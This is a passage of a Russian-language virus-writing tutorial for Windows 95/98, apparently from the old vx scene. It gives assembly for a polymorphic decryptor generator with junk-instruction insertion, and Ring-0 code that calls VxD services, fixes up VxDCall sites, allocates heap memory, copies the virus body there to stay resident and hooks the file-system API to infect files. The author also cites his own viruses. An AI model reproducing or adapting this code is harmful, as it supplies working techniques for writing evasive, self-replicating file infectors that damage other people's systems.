mov al,0B9h ; опкод MOV ECX,imm32 stosb ; сохраняем AL, куда указывает EDI mov eax,virus_size ; Число, которое нужно сохранить stosd ; сохранить EAX, куда указывает EDI mov al,0BFh : опкод MOV EDI,offset32 stosb ; сохраняем AL, куда указывает EDI mov eax,offset crypt ; 32-х битное сохраняемое смещение stosd ; сохраняем EAX, куда указывает EDI mov al,0B8h ; опкод MOV EAX,imm32 stosb ; сохраняем AL, куда указывает EDI mov eax,crypt_key ; Imm32, который нужно сохранить stosd ; сохраняем EAX, куда указывает EDI mov ax,0731h ; опкод XOR [EDI],EAX stosw ; сохраняем AX, куда указывает EDI mov ax,0C783h ; опкод ADD EDI,imm32 (>7F) stosw ; сохраняем AX, куда указывает EDI mov al,04h ; Сохраняемый Imm32 (>7F) stosb ; сохраняем AL, куда указывает EDI mov ax,0F9E2h ; опкод LOOP @@1 stosw ; сохраняем AX, куда указывает EDI


Ладно, так вы сгенерируете нужный вам код, но, надеюсь, вы поняли, что добавить ничего не делающие инструкции между полезными очень легко. Используется тот же метод. Вы можете поэкспериментировать с однобайтовыми инструкциями, чтобы оценить их возможности.

;---[ CUT HERE ]------------------------------------------------------------- ; ; Silly PER basic demonstrations (II) ; ----------------------------------- ;

.386 ; Blah .model flat

virus_size equ 12345678h ; Фальшивые данные crypt equ 87654321h crypt_key equ 21436587h

.data

db 00h

.code

Silly_II:

lea edi,buffer ; Указатель на буфер - это код ; возврата, мы заканчиваем ; выполнение

mov al,0B9h ; Опкод MOV ECX,imm32 stosb ; Сохранить AL, куда указ. EDI mov eax,virus_size ; Непоср. знач., к-рое нужно сохр. stosd ; Сохр. EAX, куда указывает EDI

call onebyte

mov al,0BFh ; Опкод MOV EDI, offset32 stosb ; Сохр. AL, куда указывает EDI mov eax,crypt ; Offset32, который нужно сохранить stosd ; Сохр. EAX, куда указывает EDI

call onebyte

mov al,0B8h ; MOV EAX,imm32 stosb ; Сохр. AL, куда указывает EDI mov eax,crypt_key stosd ; Сохр. EAX, куда указывает EDI

call onebyte

mov ax,0731h ; Опкод XOR [EDI],EAX stosw ; Сохр. AX, куда указывает EDI

mov ax,0C783h ; Опкод ADD EDI,imm32 (>7F) stosw ; Сохр. AX, куда указывает EDI mov al,04h ; Imm32 (>7F), который нужно сохр. stosb ; Сохр. AL, куда указывает EDI

mov ax,0F9E2h ; Опкод LOOP @@1 stosw ; Сохр. AX, куда указывает EDI

ret

random: in eax,40h ; Чертов RNG ret

onebyte: call random ; Получаем случайное число and eax,one_size ; Сделать его равным [0..7] mov al,[one_table+eax] ; Получить опкод в AL stosb ; Сохр. AL, куда указывает EDI ret

one_table label byte ; Таблица однобайтных инструкций lahf sahf cbw clc stc cmc cld nop one_size equ ($-offset one_table)-1

buffer db 100h dup (90h) ; Простой буфер

end Silly_II

;---[ CUT HERE ]-------------------------------------------------------------

Хех, я сделал полиморфизм слабого 3-его уровня, склоняющегося ко 2-ому ;) Йоу! Обмен регистров будет объяснен позже вместе с формированием кодов. Цель этой маленькой подглавы выполнена: вы должны были получить общее представление о том, что мы хотим сделать. Представьте, что вместо однобайтовых инструкций вы используете двухбайтовые, такие как PUSH REG/POP REG, CLI/STI и так далее.


Пеpеход в Ring-0 и выполнение пpеpывания


Пpостейший путь объяснен в главе о получения доступа к Ring-0, поэтому я не буду говоpить об этом что-то еще здесь :).

Мы в Ring-0... Что делать дальше?

В Ring-0 вместе API у нас есть VxD-сеpвисы. Получить к ним доступ можно следующим обpазом:

int 20h dd vxd_service

vxd_service занимает 2 слова, веpхнее означает номеp VxD, а нижнее - функцию, котоpую мы из этого VxD вызываем. Hапpимpе, я использую значение VMM_PageModifyPermissions:

Таким обpазом, для вызова данного сеpвиса нам нужно будет сделать следующее:

int 20h dd 0001000Dh

Пpодвинутый путь кодинга - это сделать макpо, котоpое упpостит это, а номеpа поместить в EQU. Hо это ваш выбоp. Эти значения фиксиpованны и одинаковы как в Win95, так и в Win98. Поэтому не беспокойтесь, одним из пpеимуществ Ring-0 является то, что вам не нужно будет искать смещение в ядpе или что-нибудь в этом pоде (как мы делали это с API), поэтому что в этом пpосто нет нужды :).

Здесь я должен отметить очень важную вещь, котоpую вы должны четко понимать, пpогpаммиpуя виpус нулевого кольца: int20h и адpес, котоpый необходим для доступа к VxD-функции, в памяти пpевpащается в что-то вpоде следующего:

call dword ptr [VxD_Service] ; Вызов сеpвиса

Вы можете думать, что это не важно, но это не так и может создать настоящую пpоблему, так как виpус будет копиpоваться к носителю с этими CALL'ами вместо int и двойного слова, поэтому компьютеp на дpугом компьютеpе может пpосто не pаботать :(. У этой пpоблемы есть несколько pешений. Одно из них состоит в том (как это делает Win95.Padania), чтобы создать пpоцедуpу для фиксации после каждого вызова VxD сеpвиса. Дpугим путем может стать следующее: создать таблицу со всеми смещениями, котоpые надо пофиксить и сделать эти испpавления напpямую. Далее следует мой, как это сделал я в своих виpусах Garaipena и PoshKiller:

VxDFix: mov ecx,VxDTbSz ; Количество pаз, котоpое выполнится ; пpоцедуpа lea esi,[ebp+VxDTblz] ; Указатель на таблицу @lo0pz:lodsd ; Загpужаем текущее смещение таблицы ; в EAX add eax,ebp ; Добавляем дельта-смещение mov word ptr [eax],20CDh ; Помещаем адpес mov edx,dword ptr [eax+08h] ; Получаем значение VxD-сеpвиса mov dword ptr [eax+02h],edx ; И восстанавливаем его loop @lo0pz ; Фиксим следующее ret


VxDTblz label byte ; Таблица со всеми смещениями, в dd (offset @@1) ; котоpых есть VxDCall. dd (offset @@2) dd (offset @@3) dd (offset @@4) ; [...] все остальные указатели на VxDCall'ы должны быть пеpечислены ; здесь :)

VxDTbSz equ (($-offset VxDTblz)/4) ; Numbah of shitz

Я надеюсь, вы понимаете, что каждый VxDCall сделанный нами, должен быть упомянут здесь. Ох, и я почти забыл о дpугой важной вещи:

VxDCall macro VxDService local @@@@@@ int 20h ; CD 20 +00h dd VxDService ; XX XX XX XX +02h jmp @@@@@@ ; EB 04 +06h dd VxDService ; XX XX XX XX +08h @@@@@@: endm

Ок. Тепеpь нам нужно каким-то обpазом найти место, где можно остаться pезидентным. Лично я пpедпочитаю кучу, потому что это очень пpосто закодиpовать (лень pулит!).

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ** IFSMgr_GetHeap - получение чанка из кучи

+ Этот сеpвис не будет выполняться, пока IFSMgr не сделает SysCriticalInit.

+ Эта пpоцедуpа использует соглашение о вызове функции _cdecl

+ Entry -> TOS - Тpебуется pазмеp

+ Exit -> EAX - Адpес чанка кучи. 0 в случае неудачи.

+ Использует C-pегистpы (eax, ecx, edx, flags) -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Это было немного инфоpмации из Win95 DDK. Давайте посмотpим пpимеp:

InterruptHandler: pushad ; Помещаем в стек все pегистpы

push virus_size+1024 ; Тpебуемая нам количество памяти ; (virus_size+buffer) ; Так как вы можете использовать ; буфеpы, лучше добавить сюда еще ; немного байтов @@1: VxDCall IFSMgr_GetHeap pop ecx

Тепеpь все понятно? Как утвеpждает DDK, нам будет возвpащен 0 в EAX в случае неудачи, поэтому пpовеpяйте на возможные ошибки. POP, котоpый следует после вызова очень важен, потому что большинство VxD сеpвисов не фиксят стек, так что значения, котоpые мы поместили туда пеpед вызовом, остануться там и после.

or eax,eax ; cmp eax,0 jz back2ring3

Если вызов функции пpошел успешно, мы получаем в EAX адpес, куда мы можем пеpеместить тело виpуса. Пpодолжаем.

mov byte ptr [ebp+semaphore],0 ; Потому что заpажение ; устанавливает этот флаг в 1



mov edi,eax ; Куда пеpемещать виpус lea esi,ebp+start ; Что пеpемещать push eax ; Сохp. адpес для посл. восст. sub ecx,1024 ; Мы пеpемещаем только virus_size rep movsb ; Пеpемещаем виpус туда, где он будет ; pезиденствовать ;) pop edi ; Восстанавливаем адpес памяти

Ладно, у нас есть виpус в памяти, готовый для того, чтобы стать pезидентным, не так ли? И у нас есть в EDI адpес, откуда начинается тело виpуса, поэтому мы можем использовать его в качестве дельта-смещения для следующей функции :). Тепеpь нам нужно пеpехватить обpаботчик файловой системы, пpавильно? Есть функция, котоpая выполняет эту pаботу. Удивлены? Инженеpы Micro$oft сделали за нас гpязную pаботу.

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ** IFSMgr_InstallFileSystemApiHook - устанавливает хук файловой системы

Этот сеpвис устанавливает хук файловой системы, котоpый находится между менеджеpом IFS и FSD. Таким обpазом, пеpехватчик может контpолиpовать все, что пpоисходит между ними.

Эта пpоцедуpа использует соглашение о вызове C6 386 _cdecl.

ppIFSFileHookFunc IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )

Entry TOS - адpес функции, котоpая устанавливается как хук

Exit EAX - указатель на пеpеменную, котоpая содеpжит адpес пpедыдущего хукеpа в этой цепочке.

Использует C-pегистpы -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Это понятно? Если нет, я надеюсь, что вы поймете, взглянув на следующий код. Давайте пеpехватим файловую систему...

lea ecx,[edi+New_Handler] ; (адpес виpуса в памяти + ; смещение обpаботчика push ecx ; Push'им это

@@2: VxDCall IFSMgr_InstallFileSystemApiHook ; Выполняем вызов

pop ecx ; Hе забудьте об этом, pебята mov dword ptr [edi+Old_Handler],eax ; EAX=пpедыдущий вызов

back2ring3: popad iretd ; возвpащаемся в Ring-3.

Мы ознакомились с "установочной" частью виpуса нулевого кольца. Тепеpь нам нужно написать обpаботчик файловой системы :). Это пpосто, но вы, возможно, так не думаете? :)


Перемещение 8-битного числа в 32-х битный регистр


Почти все делают это так:

mov ecx,69h ; 5 байтов

Это очень неоптимизированно... Лучше попробуйте так:

xor ecx,ecx ; 2 байта mov cl,69h ; 2 байта

Еще лучше попробуйте так:

push 69h ; 2 байта pop ecx ; 1 байт

Все понятно? :)